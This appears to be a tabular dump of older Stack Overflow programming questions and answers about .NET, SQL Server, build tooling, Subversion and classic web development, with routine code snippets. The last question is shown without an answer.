input
stringlengths
51
42.3k
output
stringlengths
18
55k
SQLStatement.execute() - multiple queries in one statement <p>I've written a database generation script in <a href="http://en.wikipedia.org/wiki/SQL">SQL</a> and want to execute it in my <a href="http://en.wikipedia.org/wiki/Adobe_Integrated_Runtime">Adobe AIR</a> application:</p> <pre><code>Create Table tRole ( roleID integer Primary Key ,roleName varchar(40) ); Create Table tFile ( fileID integer Primary Key ,fileName varchar(50) ,fileDescription varchar(500) ,thumbnailID integer ,fileFormatID integer ,categoryID integer ,isFavorite boolean ,dateAdded date ,globalAccessCount integer ,lastAccessTime date ,downloadComplete boolean ,isNew boolean ,isSpotlight boolean ,duration varchar(30) ); Create Table tCategory ( categoryID integer Primary Key ,categoryName varchar(50) ,parent_categoryID integer ); ... </code></pre> <p>I execute this in Adobe AIR using the following methods:</p> <pre><code>public static function RunSqlFromFile(fileName:String):void { var file:File = File.applicationDirectory.resolvePath(fileName); var stream:FileStream = new FileStream(); stream.open(file, FileMode.READ) var strSql:String = stream.readUTFBytes(stream.bytesAvailable); NonQuery(strSql); } public static function NonQuery(strSQL:String):void { var sqlConnection:SQLConnection = new SQLConnection(); sqlConnection.open(File.applicationStorageDirectory.resolvePath(DBPATH); var sqlStatement:SQLStatement = new SQLStatement(); sqlStatement.text = strSQL; sqlStatement.sqlConnection = sqlConnection; try { sqlStatement.execute(); } catch (error:SQLError) { Alert.show(error.toString()); } } </code></pre> <p>No errors are generated, however only <code>tRole</code> exists. It seems that it only looks at the first query (up to the semicolon- if I remove it, the query fails). Is there a way to call multiple queries in one statement?</p>
<p>I wound up using this. It is a kind of a hack, but it actually works pretty well. The only thing is you have to be very careful with your semicolons. : D</p> <pre><code>var strSql:String = stream.readUTFBytes(stream.bytesAvailable); var i:Number = 0; var strSqlSplit:Array = strSql.split(";"); for (i = 0; i &lt; strSqlSplit.length; i++){ NonQuery(strSqlSplit[i].toString()); } </code></pre>
Good branching and merging tutorials for TortoiseSVN? <p>Are there any really good tutorials explaining <a href="http://svnbook.red-bean.com/en/1.8/svn.branchmerge.html" rel="nofollow">branching and merging</a> with Apache Subversion? </p> <p>All the better if it's specific to TortoiseSVN client.</p>
<p>My easy click-by-click instructions (<strong>specific to TortoiseSVN</strong>) are in Stack&nbsp;Overflow question <em><a href="http://stackoverflow.com/questions/1461922">What is the simplest way to do branching and merging using TortoiseSVN?</a></em>.</p>
ASP.NET Site Maps <p>Has anyone got experience creating <strong>SQL-based ASP.NET</strong> site-map providers?</p> <p>I've got the default XML file <code>web.sitemap</code> working properly with my Menu and <strong>SiteMapPath</strong> controls, but I'll need a way for the users of my site to create and modify pages dynamically.</p> <p>I need to tie page viewing permissions into the standard <code>ASP.NET</code> membership system as well.</p>
<p>The Jeff Prosise version from MSDN magazine works pretty well, but it has a few flaws:</p> <p><code>AddNode</code> freaks out with links to external sites on your menu (www.google.com, etc.)</p> <p>Here's my fix in <code>BuildSiteMap()</code>:</p> <pre><code>SiteMapNode node = GetSiteMapNodeFromReader(reader); string url = node.Url; if (url.Contains(":")) { string garbage = Guid.NewGuid().ToString(); // SiteMapNode needs unique URLs node.Url = "~/dummy_" + garbage + ".aspx"; AddNode(node, _root); node.Url = url; } else { AddNode(node, _root); } </code></pre> <p><code>SQLDependency</code> caching is cool, but if you don't want to make a trip to the DB everytime your menu loads (to check to see if the dependency has changed) and your menus don't change very often, then why not use <code>HttpRuntime.Cache</code> instead?</p> <pre><code>public override SiteMapNode RootNode { get { SiteMapNode temp = (SiteMapNode)HttpRuntime.Cache["SomeKeyName"]; if (temp == null) { temp = BuildSiteMap(); HttpRuntime.Cache.Insert("SomeKeyName", temp, null, DateTime.Now.AddHours(1), Cache.NoSlidingExpiration); } return temp; } } </code></pre>
Function for creating color wheels <p>This is something I've pseudo-solved many times and never quite found a solution. That's stuck with me. The problem is to come up with a way to generate <code>N</code> colors, that are as distinguishable as possible where <code>N</code> is a parameter.</p>
<p>My first thought on this is "how generate N vectors in a space that maximize distance from each other." You can see that the RGB (or any other scale you use that forms a basis in color space) are just vectors. Take a look at <a href="http://mathworld.wolfram.com/topics/RandomPointPicking.html">Random Point Picking</a>. Hope this is a good start for you! Once you have a set of vectors that are maximized a part, you can save them in a hash table or something for later, and just perform random rotations on them to get all the colors you desire that are maximally apart from each other!</p> <p><strong>Edit:</strong> Thinking about this problem more, it would be better to map the colors in a linear manor, possibly (0,0,0) --> (255,255,255) lexicographically, and then distribute them evenly. I really don't know how well this will work, but it should since, lets say:</p> <p>n = 10 we know we have 16777216 colors (256^3). We can use <a href="http://stackoverflow.com/questions/561/using-combinations-of-sets-as-test-data#794">buckles algorithm 515</a> to find the lexicographically indexed color.<img src="http://i.stack.imgur.com/gEuCs.gif" alt="\frac {\binom {256^3} {3}} {n} * i">. You'll probably have to edit the algorithm to avoid overflow and probably add some minor speed improvements.</p>
Adding scripting functionality to .NET applications <p>I have a little game written in C#. It uses a database as back-end. It's a <a href="http://en.wikipedia.org/wiki/Collectible_card_game">trading card game</a>, and I wanted to implement the function of the cards as a script.</p> <p>What I mean is that I essentially have an interface, <code>ICard</code>, which a card class implements (<code>public class Card056 : ICard</code>) and which contains function that are called by the game.</p> <p>Now, to make the thing maintainable/moddable, I would like to have the class for each card as source code in the database and essentially compile it on first use. So when I have to add/change a card, I'll just add it to the database and tell my application to refresh, without needing any assembly deployment (especially since we would be talking about 1 assembly per card which means hundreds of assemblies).</p> <p>Is that possible? Register a class from a source file and then instantiate it, etc.</p> <pre><code>ICard Cards[current] = new MyGame.CardLibrary.Card056(); Cards[current].OnEnterPlay(ref currentGameState); </code></pre> <p>The language is C#, but extra bonus if it's possible to write the script in any .NET language.</p>
<p><a href="http://www.codeproject.com/Articles/8656/C-Script-The-Missing-Puzzle-Piece">Oleg Shilo's C# Script solution (at The Code Project</a>) really is a great introduction to providing script abilities in your application.</p> <p>A different approach would be to consider a language that is specifically built for scripting, such as <a href="http://en.wikipedia.org/wiki/IronRuby">IronRuby</a>, <a href="http://en.wikipedia.org/wiki/IronPython">IronPython</a>, or <a href="http://en.wikipedia.org/wiki/Lua_%28programming_language%29">Lua</a>.</p> <p>IronPython and IronRuby are both available today.</p> <p>For a guide to embedding IronPython read <a href="http://blogs.msdn.com/b/jmstall/archive/2005/09/01/howto-embed-ironpython.aspx">How to embed IronPython script support in your existing app in 10 easy steps</a>.</p> <p>Lua is a scripting language commonly used in games. There is a Lua compiler for .NET, available from CodePlex -- <a href="http://www.codeplex.com/Nua">http://www.codeplex.com/Nua</a></p> <p>That codebase is a great read if you want to learn about building a compiler in .NET.</p> <p>A different angle altogether is to try <a href="http://en.wikipedia.org/wiki/Windows_PowerShell">PowerShell</a>. There are numerous examples of embedding PowerShell into an application -- here's a thorough project on the topic: <a href="http://code.msdn.microsoft.com/PowerShellTunnel/Wiki/View.aspx?title=PowerShellTunnel%20Reference">Powershell Tunnel</a></p>
Should I use nested classes in this case? <p>I am working on a collection of classes used for video playback and recording. I have one main class which acts like the public interface, with methods like <code>play()</code>, <code>stop()</code>, <code>pause()</code>, <code>record()</code> etc... Then I have workhorse classes which do the video decoding and video encoding. </p> <p>I just learned about the existence of nested classes in C++, and I'm curious to know what programmers think about using them. I am a little wary and not really sure what the benefits/drawbacks are, but they seem (according to the book I'm reading) to be used in cases such as mine.</p> <p>The book suggests that in a scenario like mine, a good solution would be to nest the workhorse classes inside the interface class, so there are no separate files for classes the client is not meant to use, and to avoid any possible naming conflicts? I don't know about these justifications. Nested classes are a new concept to me. Just want to see what programmers think about the issue.</p>
<p>I would be a bit reluctant to use nested classes here. What if you created an abstract base class for a "multimedia driver" to handle the back-end stuff (workhorse), and a separate class for the front-end work? The front-end class could take a pointer/reference to an implemented driver class (for the appropriate media type and situation) and perform the abstract operations on the workhorse structure.</p> <p>My philosophy would be to go ahead and make both structures accessible to the client in a polished way, just under the assumption they would be used in tandem.</p> <p>I would reference something like a <a href="http://qt-project.org/doc/qt-4.8/qtextdocument.html">QTextDocument</a> in Qt. You provide a direct interface to the bare metal data handling, but pass the authority along to an object like a QTextEdit to do the manipulation.</p>
Homegrown consumption of web services <p>I've been writing a few web services for a .net app, now I'm ready to consume them. I've seen numerous examples where there is homegrown code for consuming the service as opposed to using the auto generated methods Visual Studio creates when adding the web reference. </p> <p>Is there some advantage to this?</p>
<p>No, what you're doing is fine. Don't let those people confuse you.</p> <p>If you've written the web services with .net then the reference proxies generated by .net are going to be quite suitable. The situation you describe (where you are both producer and consumer) is the ideal situation.</p> <p>If you need to connect to a web services that is <em>unknown</em> at compile time, then you would want a more dynamic approach, where you deduce the 'shape' of the web service. </p> <p>But start by using the auto generated proxy class, and don't worry about it until you hit a limitation. And when you do -- come back to stack overflow ;-)</p>
Deploying SQL Server Databases from Test to Live <p>I wonder how you guys manage deployment of a database between 2 SQL Servers, specifically SQL Server 2005. Now, there is a development and a live one. As this should be part of a buildscript (standard windows batch, even do with current complexity of those scripts, i might switch to PowerShell or so later), Enterprise Manager/Management Studio Express do not count.</p> <p>Would you just copy the .mdf File and attach it? I am always a bit careful when working with binary data, as this seems to be a compatiblity issue (even though development and live should run the same version of the server at all time).</p> <p>Or - given the lack of "EXPLAIN CREATE TABLE" in T-SQL - do you do something that exports an existing database into SQL-Scripts which you can run on the target server? If yes, is there a tool that can automatically dump a given Database into SQL Queries and that runs off the command line? (Again, Enterprise Manager/Management Studio Express do not count).</p> <p>And lastly - given the fact that the live database already contains data, the deployment may not involve creating all tables but rather checking the difference in structure and ALTER TABLE the live ones instead, which may also need data verification/conversion when existing fields change.</p> <p>Now, i hear a lot of great stuff about the <a href="http://www.red-gate.com/products/index.htm">Red Gate</a> products, but for hobby projects, the price is a bit steep.</p> <p>So, what are you using to automatically deploy SQL Server Databases from Test to Live?</p>
<p>I've taken to hand-coding all of my DDL (creates/alter/delete) statements, adding them to my .sln as text files, and using normal versioning (using subversion, but any revision control should work). This way, I not only get the benefit of versioning, but updating live from dev/stage is the same process for code and database - tags, branches and so on work all the same.</p> <p>Otherwise, I agree redgate is expensive if you don't have a company buying it for you. If you can get a company to buy it for you though, it really is worth it!</p>
Automatically update version number <p>I would like the version property of my application to be incremented for each build but I'm not sure on how to enable this functionality in Visual Studio (2005/2008). I have tried to specify the AssemblyVersion as 1.0.* but it doesn't get me exactly what I want. </p> <p>I'm also using a settings file and in earlier attempts when the assembly version changed my settings got reset to the default since the application looked for the settings file in another directory. </p> <p>I would like to be able to display a version number in the form of 1.1.38 so when a user finds a problem I can log the version they are using as well as tell them to upgrade if they have an old release.</p> <p>A short explanation of how the versioning works would also be appreciated. When does the build and revision number get incremented?</p>
<p>With the "Built in" stuff, you can't, as using 1.0.* or 1.0.0.* will replace the revision and build numbers with a coded date/timestamp, which is usually also a good way. </p> <p>For more info, see the <a href="http://msdn2.microsoft.com/en-us/library/c405shex%28vs.80%29.aspx">Assembly Linker</a> Documentation in the /v tag.</p> <p>As for automatically incrementing numbers, use the AssemblyInfo Task:</p> <p><a href="http://code.msdn.microsoft.com/AssemblyInfoTaskvers">AssemblyInfo Task</a></p> <p>This can be configured to automatically increment the build number.</p> <p>There are 2 Gotchas:</p> <ol> <li>Each of the 4 numbers in the Version string is limited to 65535. This is a Windows Limitation and unlikely to get fixed. <ul> <li><a href="http://blogs.msdn.com/msbuild/archive/2007/01/03/why-are-build-numbers-limited-to-65535.aspx">Why are build numbers limited to 65535?</a></li> </ul></li> <li>Using with with Subversion requires a small change: <ul> <li><a href="http://www.andrewconnell.com/blog/archive/2006/08/29/4078.aspx">Using MSBuild to generate assembly version info at build time (including SubVersion fix)</a></li> </ul></li> </ol> <p>Retrieving the Version number is then quite easy:</p> <pre><code>Version v = Assembly.GetExecutingAssembly().GetName().Version; string About = string.Format(CultureInfo.InvariantCulture, @"YourApp Version {0}.{1}.{2} (r{3})", v.Major, v.Minor, v.Build, v.Revision); </code></pre> <hr> <p>And, to clarify: In .net or at least in C#, the build is actually the THIRD number, not the fourth one as some people (for example Delphi Developers who are used to Major.Minor.Release.Build) might expect.</p> <p>In .net, it's Major.Minor.Build.Revision.</p>
Visual Studio Setup Project - Per User Registry Settings <p>I'm trying to maintain a Setup Project in <code>Visual Studio 2003</code> (yes, it's a legacy application). The problem we have at the moment is that we need to write registry entries to <code>HKCU</code> for every user on the computer. They need to be in the <code>HKCU</code> rather than <code>HKLM</code> because they are the default user settings, and they do change per user. My feeling is that</p> <ol> <li>This isn't possible</li> <li>This isn't something the installer should be doing, but something the application should be doing (after all what happens when a user profile is created after the install?).</li> </ol> <p>With that in mind, I still want to change as little as possible in the application, so my question is, <strong>is it possible to add registry entries for every user in a <code>Visual Studio 2003</code> setup project?</strong> </p> <p>And, at the moment the project lists five registry root keys (<code>HKEY_CLASSES_ROOT, HKEY_CURRENT_USER</code>, <code>HKEY_LOCAL_MACHINE</code>, <code>HKEY_USERS</code>, and User/Machine Hive). I don't really know anything about the Users root key, and haven't seen User/Machine Hive. Can anyone enlighten me on what they are? Perhaps they could solve my problem above.</p>
<p>I'm guessing that because you want to set it for all users, that you're on some kind of shared computer, which is probably running under a domain?</p> <p><strong>HERE BE DRAGONS</strong></p> <p>Let's say Joe and Jane regularly log onto the computer, then they will each have 'registries'.</p> <p>You'll then install your app, and the installer will employ giant hacks and disgusting things to set items under HKCU for them.</p> <p>THEN, bob will come along and log on (he, and 500 other people have accounts in the domain and so can do this). He's never used this computer before, so he has no registry. The first time he logs in, windows creates him one, but he won't have your setting. </p> <p>Your app then falls over or behaves incorrectly, and bob complains loudly about those crappy products from raynixon incorporated.</p> <p>The correct answer is to just have some default settings in your app, which can write them to the registry if it doesn't find them. It's general good practice that your app should never depend on the registry, and should create things as needed, for any registry entry, not just HKCU, anyway</p>
How do I connect to a database and loop over a recordset in C#? <p>What's the simplest way to connect and query a database for a set of records in C#?</p>
<p>@Goyuix -- that's excellent for something written from memory. tested it here -- found the connection wasn't opened. Otherwise very nice.</p> <pre><code>using System.Data.OleDb; ... using (OleDbConnection conn = new OleDbConnection()) { conn.ConnectionString = "Provider=sqloledb;Data Source=yourServername\\yourInstance;Initial Catalog=databaseName;Integrated Security=SSPI;"; using (OleDbCommand cmd = new OleDbCommand()) { conn.Open(); cmd.Connection = conn; cmd.CommandText = "Select * from yourTable"; using (OleDbDataReader dr = cmd.ExecuteReader()) { while (dr.Read()) { Console.WriteLine(dr["columnName"]); } } } } </code></pre>
How to get the value of built, encoded ViewState? <p>I need to grab the base64-encoded representation of the ViewState. Obviously this would not be available until fairly late in the request lifecycle, which is OK.</p> <p>For example, if the output of the page includes:</p> <pre><code>&lt;input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUJODU0Njc5MD...==" /&gt; </code></pre> <p>I need a way on the server side to get the value <code>"/wEPDwUJODU0Njc5MD...=="</code></p> <p>To clarify, I need this value when the page is being rendered, not on PostBack. e.g. I need to know the ViewState value that is being <em>sent</em> to the client, not the ViewState I'm getting back from them.</p>
<p>Rex, I suspect a good place to start looking is solutions that <strong>compress the ViewState</strong> -- they're grabbing ViewState on the server before it's sent down to the client and gzipping it. That's exactly where you want to be.</p> <ul> <li><a href="http://www.hanselman.com/blog/CommentView,guid,febce059-7e7c-439e-af3d-c53d250b3e9c.aspx">Scott Hanselman on ViewState Compression</a> (2005)</li> <li><a href="http://www.bloggingdeveloper.com/post/How-To-Compress-ViewState-in-ASPNET-20-ViewState-Compression-with-SystemIOCompression.aspx">ViewState Compression with System.IO.Compression</a> (2007)</li> </ul>
How do I delete a file which is locked by another process in C#? <p>I'm looking for a way to delete a file which is locked by another process using C#. I suspect the method must be able to find which process is locking the file (perhaps by tracking the handles, although I'm not sure how to do this in C#) then close that process before being able to complete the file delete using <code>File.Delete()</code>.</p>
<p>Killing other processes is not a healthy thing to do. If your scenario involves something like uninstallation, you could use the <a href="http://msdn.microsoft.com/en-us/library/aa365240%28VS.85%29.aspx"><strong><code>MoveFileEx</code></strong> API function</a> to mark the file for deletion upon next reboot.</p> <p>If it appears that you really need to delete a file in use by another process, I'd recommend re-considering the actual problem before considering any solutions.</p>
Process size on UNIX <p>What is the correct way to get the process size on <code>Solaris, HP-UX</code> and <code>AIX</code>? Should we use <code>top</code> or <code>ps -o vsz</code> or something else?</p>
<p>The exact definitions of "vsize," "rss," "rprvt," "rshrd," and other obscure-looking abbreviations vary from OS to OS. The manual pages for the "top" and "ps" commands will have some sort of description, but all such descriptions are simplified greatly (or are based on long-extinct kernel implementations). "Process size" as a concept is fiendishly difficult to pin down in the general case. Answers in specific instances depend heavily on the actual memory management implementation in the OS, and are rarely as satisfying as the tidy "process size" concept that exists in the minds of most users (and most developers).</p> <p>For example, none of those numbers (nor, likely, any combination of them) can be used to tell you exactly how many such processes can run at once in a given amount of free memory. But really, your best bet is to come at it from that end: why do you want this number, and what will you use it for? Given that information, I think you'll get more useful answers.</p>
Use SVN Revision to label build in CCNET <p>I am using CCNET on a sample project with SVN as my source control. CCNET is configured to create a build on every check in. CCNET uses MSBuild to build the source code.</p> <p>I would like to use the latest revision number to generate AssemblyInfo.cs while compiling. How can I retrieve the latest revision from subversion and use the value in CCNET?</p> <p>Edit: I'm not using NAnt - only MSBuild.</p>
<p>CruiseControl.Net 1.4.4 has now an <a href="http://confluence.public.thoughtworks.org/display/CCNET/Assembly+Version+Labeller">Assembly Version Labeller</a>, which generates version numbers compatible with .Net assembly properties.</p> <p>In my project I have it configured as:</p> <pre><code>&lt;labeller type="assemblyVersionLabeller" incrementOnFailure="true" major="1" minor="2"/&gt; </code></pre> <p>(Caveat: <code>assemblyVersionLabeller</code> won't start generating svn revision based labels until an actual commit-triggered build occurs.)</p> <p>and then consume this from my MSBuild projects with <a href="http://msbuildtasks.tigris.org/">MSBuildCommunityTasks.AssemblyInfo</a> :</p> <pre><code>&lt;Import Project="$(MSBuildExtensionsPath)\MSBuildCommunityTasks\MSBuild.Community.Tasks.Targets"/&gt; &lt;Target Name="BeforeBuild"&gt; &lt;AssemblyInfo Condition="'$(CCNetLabel)' != ''" CodeLanguage="CS" OutputFile="Properties\AssemblyInfo.cs" AssemblyTitle="MyTitle" AssemblyCompany="MyCompany" AssemblyProduct="MyProduct" AssemblyCopyright="Copyright © 2009" ComVisible="false" Guid="some-random-guid" AssemblyVersion="$(CCNetLabel)" AssemblyFileVersion="$(CCNetLabel)"/&gt; &lt;/Target&gt; </code></pre> <p>For sake of completness, it's just as easy for projects using NAnt instead of MSBuild:</p> <pre><code>&lt;target name="setversion" description="Sets the version number to CruiseControl.Net label."&gt; &lt;script language="C#"&gt; &lt;references&gt; &lt;include name="System.dll" /&gt; &lt;/references&gt; &lt;imports&gt; &lt;import namespace="System.Text.RegularExpressions" /&gt; &lt;/imports&gt; &lt;code&gt;&lt;![CDATA[ [TaskName("setversion-task")] public class SetVersionTask : Task { protected override void ExecuteTask() { StreamReader reader = new StreamReader(Project.Properties["filename"]); string contents = reader.ReadToEnd(); reader.Close(); string replacement = "[assembly: AssemblyVersion(\"" + Project.Properties["CCNetLabel"] + "\")]"; string newText = Regex.Replace(contents, @"\[assembly: AssemblyVersion\("".*""\)\]", replacement); StreamWriter writer = new StreamWriter(Project.Properties["filename"], false); writer.Write(newText); writer.Close(); } } ]]&gt; &lt;/code&gt; &lt;/script&gt; &lt;foreach item="File" property="filename"&gt; &lt;in&gt; &lt;items basedir=".."&gt; &lt;include name="**\AssemblyInfo.cs"&gt;&lt;/include&gt; &lt;/items&gt; &lt;/in&gt; &lt;do&gt; &lt;setversion-task /&gt; &lt;/do&gt; &lt;/foreach&gt; &lt;/target&gt; </code></pre>
How to make subdomain user accounts in a webapp <p>I am looking to allow users to control of subdomain of an app I am toying with, much like Basecamp where it is <code>customusername.seework.com</code>.</p> <p>What is required on the <code>DNS</code> end to allow these to be created dynamically and be available instantly. </p> <p>And how do you recommend dealing with this in the logic of the site? <code>Htaccess</code> rule to lookup the subdomain in the <code>DB</code>?</p>
<p>The way we do this is to have a 'catch all' for our domain name registered in DNS so that anything.ourdomain.com will point to our server.</p> <p>With Apache you can set up a similar catch-all for your vhosts. The ServerName must be a single static name but the ServerAlias directive can contain a pattern.</p> <pre><code>Servername www.ourdomain.com ServerAlias *.ourdomain.com </code></pre> <p>Now all of the domains will trigger the vhost for our project. The final part is to decode the domain name actually used so that you can work out the username in your code, something like (PHP):</p> <pre><code>list( $username ) = explode( ".", $_SERVER[ "HTTP_HOST" ] ); </code></pre> <p>or a RewriteRule as already suggested that silently maps user.ourdomain.com/foo/bar to www.ourdomain.com/foo/bar?user=user or whatever you prefer.</p>
Is nAnt still supported and suitable for .net 3.5/VS2008? <p>I am using MSBuild to build my stuff. I want to use CruiseControl.net as by Build Server.</p> <p>Now, CCNET refers nAnt a lot, but it looks as if ccnet can do most of the stuff nant could do through the project configuration and msbuild. Also, nAnt seems a bit unsupported, with a Beta release that is almost a year old now.</p> <p>In short: I am actually quite happy with MSBuild (especially since it's the "official" compiler front end) and a bit uncomfortable with nAnt, but I do not want to judge prematurely.</p> <p>What would be reasons to use nAnt over MSBuild? Especially with ccnet, which seems to overlap a bit with nant in terms of features (and adding the automated build related stuff)</p>
<p>If you are quite happy with MSBuild, then I would stick with MSBuild. This may be one of those cases where the tool you learn first is the one you will prefer. I started with NAnt and can't quite get used to MSBuild. I'm sure they will both be around for quite some time.</p> <p>There are some fundamental differences between the two, probably best highlighted by <a href="http://forums.msdn.microsoft.com/en-US/msbuild/thread/994761a3-ea9d-40c7-8d4f-4c208b2023f6/">this conversation between some NAnt fans and a Microsoftie</a>.</p> <p>Interestingly, <a href="http://codebetter.com/blogs/jeremy.miller/default.aspx">Jeremy Miller</a> asked the exact opposite question <a href="http://codebetter.com/blogs/jeremy.miller/archive/2007/09/20/is-there-a-good-reason-to-switch-to-msbuild.aspx">on his blog</a> last year. </p>
Is Windows Server 2008 "Server Core" appropriate for a SQL Server instance? <p>I'm setting up a dedicated SQL Server 2005 box on Windows Server 2008 this week, and would like to pare it down to be as barebones as possible while still being fully functional.</p> <p>To that end, the "Server Core" option sounds appealing, but I'm not clear about whether or not I can run SQL Server on that SKU. Several services are addressed on the <a href="http://www.microsoft.com/windowsserver2008/en/us/compare-core-installation.aspx">Microsoft website</a>, but I don't see any indication about SQL Server.</p> <p>Does anyone know definitively?</p>
<p>Not sure how credible <a href="http://www.builderau.com.au/program/windows/soa/Getting-started-with-Windows-Server-2008-Core-edition/0,339024644,339288700,00.htm">this source is</a>, but:</p> <blockquote> <p>The Windows Server 2008 Core edition can:</p> <ul> <li><p>Run the file server role.</p></li> <li><p>Run the Hyper-V virtualization server role.</p></li> <li><p>Run the Directory Services role.</p></li> <li><p>Run the DHCP server role.</p></li> <li><p>Run the IIS Web server role.</p></li> <li><p>Run the DNS server role.</p></li> <li><p>Run Active Directory Lightweight Directory Services.</p></li> <li><p>Run the print server role.</p></li> </ul> <p>The Windows Server 2008 Core edition cannot:</p> <ul> <li><p>Run a SQL Server.</p></li> <li><p>Run an Exchange Server.</p></li> <li><p>Run Internet Explorer.</p></li> <li><p>Run Windows Explorer.</p></li> <li><p>Host a remote desktop session.</p></li> <li><p>Run MMC snap-in consoles locally.</p></li> </ul> </blockquote>
What is the best way to copy a database? <p>I always create a new empty database, after that backup and restore of the existing database into it, but is this really the best way? As it seems very error prone and over complicated for me.</p>
<p>It is possible to skip the step of creating the empty database. You can create the new database as part of the restore process.</p> <p>This is actually the easiest and best way I know of to clone a database. You can eliminate errors by scripting the backup and restore process rather than running it through the SQL Server Management Studio</p> <p>There are two other options you could explore:</p> <ol> <li>Detach the database, copy the .mdf file and re-attach.</li> <li>Use SQL Server Integration Services (SSIS) to copy all the objects over</li> </ol> <p>I suggest sticking with backup and restore and automating if necessary.</p>
Can I logically reorder columns in a table? <p>If I'm adding a column to a table in Microsoft SQL Server, can I control where the column is displayed logically in queries?</p> <p>I don't want to mess with the physical layout of columns on disk, but I would like to logically group columns together when possible so that tools like SQL Server Management Studio list the contents of the table in a convenient way.</p> <p>I know that I can do this through SQL Management Studio by going into their "design" mode for tables and dragging the order of columns around, but I'd like to be able to do it in raw SQL so that I can perform the ordering scripted from the command line.</p>
<P>You can not do this programatically (in a safe way that is) without creating a new table. </P> <P>What Enterprise Manager does when you commit a reordering is to create a new table, move the data and then delete the old table and rename the new table to the existing name. </P> <P>If you want your columns in a particular order/grouping without altering their physical order, you can create a view which can be whatever you desire.</P>
.NET Unit Testing packages? <p>Getting back into a bit more .NET after a few-years of not using it full-time, and wondering what the good unit testing packages are these days.</p> <p>I'm familiar with NUnit (a few years ago), and have played briefly around with IronRuby, with the goal of getting something like rspec going, but don't know much beyond that.</p> <p>I realize I could google for this and call it a day but I believe I'm likely to get a better and more informed response from asking a question here :-)</p> <p>Suggestions?</p>
<p>There are so many it's crazy. Crazy good, I guess.</p> <ul> <li>For the conservative types (me), <a href="http://www.nunit.org/"><strong>NUnit</strong></a> is still available and still more than capable.</li> <li>For the Microsoft-types, <a href="http://msdn.microsoft.com/en-us/vstudio/default.aspx"><strong>MSTest</strong></a> is adequate, but slow and clunky compared to Nunit. It also lacks code coverage without paying the big bucks for the pricey versions of Visual Studio.</li> <li>There's also <a href="http://www.mbunit.com/About.aspx"><strong>MbUnit</strong></a>. It's like NUnit, but has nifty features like RowTest (run the same test with different parameters) and Rollback (put the database back like you found it after a test) </li> <li>And finally, <a href="http://www.codeplex.com/xunit"><strong>xUnit.net</strong></a> is the trendy option with some attitude.</li> <li>Oh, and <a href="http://testdriven.net/"><strong>TestDriven.NET</strong></a> will give you IDE integration for both Nunit and MBunit.</li> </ul> <p>I'm sure they're all just fine. I'd steer away from MSTest though, unless you just enjoy the convenience of having everything in one IDE out of the box.</p> <p><a href="http://www.hanselminutes.com/default.aspx?showID=130">Scott Hanselman</a> has a podcast on this very topic.</p>
Federated (Synced) Subversion servers? <p>Is it possible to create "federated" Subversion servers? As in one server at location A and another at location B that sync up their local versions of the repository automatically. That way when someone at either location interacts with the repository they are accessing their respective local server and therefore has faster response times.</p>
<p>Subversion 1.5 introduced write through proxy support for webdav servers over the existing SvnSync support that was added in 1.4. This allows you to have local mirrors for retrieving files and history, but commits are committed directly to the master repository. If setup correctly the local mirrors receive the changes immediately.</p> <p>See the <a href="http://svnbook.red-bean.com" rel="nofollow">Svn Book</a> for more details.</p>
What language do you use for PostgreSQL triggers and stored procedures? <p>PostgreSQL is interesting in that it supports several languages for writing stored procedures. Which one do you use, and why?</p>
<p>I have only really used PL/pgSQL, but that was because I needed a few stored procedures relatively fast and didn't want to add extra modules to the server.</p> <p>Longer term, I would probably use PL/Perl or PL/Python, as I use perl for quick scripting and have been looking at python for a while now.</p> <p>One thing I have found is that there is a lack of good documentation for that on the PostgreSQL site. The manuals were thorough as a reference, but did not work well as a tutorial to help show people how it should be done.</p> <p>That, combined with a very good debugging environment, meant that my first experience of writing procedures involved looking at weird syntax errors for a long time.</p> <p>If someone knows of a good site with tutorials etc for PostgreSQL programming, I would love to get a link to it.</p>
Convert HashBytes to VarChar <p>I want to get the MD5 Hash of a string value in SQL Server 2005. I do this with the following command:</p> <pre><code>SELECT HashBytes('MD5', 'HelloWorld') </code></pre> <p>However, this returns a VarBinary instead of a VarChar value. If I attempt to convert <code>0x68E109F0F40CA72A15E05CC22786F8E6</code> into a VarChar I get <code>há ðô§*à\Â'†øæ</code> instead of <code>68E109F0F40CA72A15E05CC22786F8E6</code>.</p> <p>Is there any SQL-based solution?</p> <p><strong><a href="http://stackoverflow.com/questions/2120/#2382">Yes</a></strong></p>
<p>I have found the solution else where:</p> <pre><code>SELECT SUBSTRING(master.dbo.fn_varbintohexstr(HashBytes('MD5', 'HelloWorld')), 3, 32) <br></code></pre>
Datatable vs Dataset <p>I currently use a DataTable to get results from a database which I can use in my code.</p> <p>However, many example on the web show using a DataSet instead and accessing the table(s) through the collections method.</p> <p>Is there any advantage, performance wise or otherwise, of using DataSets or DataTables as a storage method for SQL results?</p>
<p>It really depends on the sort of data you're bringing back. Since a DataSet is (in effect) just a collection of DataTable objects, you can return multiple distinct sets of data into a single, and therefore more manageable, object. </p> <p>Performance-wise, you're more likely to get inefficiency from unoptimized queries than from the "wrong" choice of .NET construct. At least, that's been my experience.</p>
How do I traverse a collection in classic ASP? <P>I want to be able to do:</P><PRE><CODE>For Each thing In things End For </CODE></PRE> <P>CLASSIC ASP - NOT .NET!</P>
<p>Something like this?</p> <pre><code>dim cars(2),x cars(0)="Volvo" cars(1)="Saab" cars(2)="BMW" For Each x in cars response.write(x &amp; "&lt;br /&gt;") Next </code></pre> <p>See <a href="http://www.w3schools.com/VBscript/vbscript_looping.asp">www.w3schools.com</a>.</p> <p>If you want to associate keys and values <a href="http://www.4guysfromrolla.com/webtech/102898-1.shtml">use a dictionary object</a> instead:</p> <pre><code>Dim objDictionary Set objDictionary = CreateObject("Scripting.Dictionary") objDictionary.Add "Name", "Scott" objDictionary.Add "Age", "20" if objDictionary.Exists("Name") then ' Do something else ' Do something else end if </code></pre>
How do you disable browser Autocomplete on web form field / input tag? <p>How do you disable <code>autocomplete</code> in the major browsers for a specific <code>input</code> (or <code>form field</code>)?</p>
